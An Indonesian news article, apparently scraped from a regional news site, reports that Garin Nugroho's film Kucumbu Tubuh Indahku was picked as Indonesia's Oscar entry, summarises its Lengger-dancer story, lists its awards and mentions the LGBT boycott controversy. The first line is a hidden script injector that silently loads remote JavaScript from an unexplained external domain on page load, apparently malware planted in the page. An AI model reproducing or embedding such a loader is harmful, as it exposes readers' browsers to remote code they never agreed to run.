(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
JAKARTA, Kucumbu Tubuh Indahku merupakan film kedua Garin yang dipilih untuk mewakili Indonesia ke Oscar. Sebelumnya, film Daun di Atas Bantal (1998) juga pernah dikirim ke Oscar tapi belum berhasil menembus sebagai nominee.
Film Kucumbu Tubuh Indahku berkisah tentang penari Lengger bernama Juno. Sejak ditinggal ayahnya, Juno bergabung dengan sanggar tari Lengger. Tak diduga tarian itu membuatnya menapaki perjalanan hidup yang berliku. Sampai pada akhirnya, Juno bisa memahami dan menerima keindahan hidup sebagai seorang penari Lengger.
Tari Lengger sendiri merupakan budaya asli Indonesia, tepatnya berasal dari Banyumas. Tarian itu mengharuskan penarinya menampilkan sisi maskulin dan feminin dalam satu tubuh. Biasanya tarian itu dipentaskan lelaki, yang di keseharian mengubah diri jadi perempuan.
Mereka berlaku, berlenggok, dengan gemulai bak wanita sungguhan. Garin membuat Kucumbu Tubuh Indahku berdasarkan cerita hidup seorang penari Lengger, Rianto.
“Tubuh kita ini menyimpan ingatan. Rangkaian ingatan tersebut menjadi sebuah sejarah manusia, sejarah tubuh dan trauma-traumanya tersendiri yang bukan hanya personal, tapi juga merupakan representasi sosial dan politik yang dialami seorang individu,” kata Garin.
“Seorang penari Lengger yang harus menampilkan sisi maskulin dan feminin dalam satu tubuh adalah sebuah pergolakan ingatan tubuh yang sangat menantang,” lanjutnya dalam keterangan pers yang diterima CNNIndonesia.com, beberapa bulan lalu.
Film yang tayang di Indonesia sejak 18 April lalu itu sudah mendapat beberapa penghargaan internasional, termasuk dari Italia, Prancis, Australia, dan Meksiko. Kucumbu Tubuh Indahku juga sudah diputar di lebih dari 30 festival film di seluruh dunia.
Film yang tayang perdana di Festival Film Internasional Venesia ke-75 itu meraih penghargaan Venice Independent Film Critic 2018, kemudian Film Terbaik di Festival Des 3 Continents 2018, dan Asia Pasific Screen Awards 2018.
Sebelumnya, film tersebut sempat diliputi kontroversi karena menampilkan tema LGBT. Bahkan, sejumlah orang membuat petisi untuk memboikot film tersebut. (agn/end)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.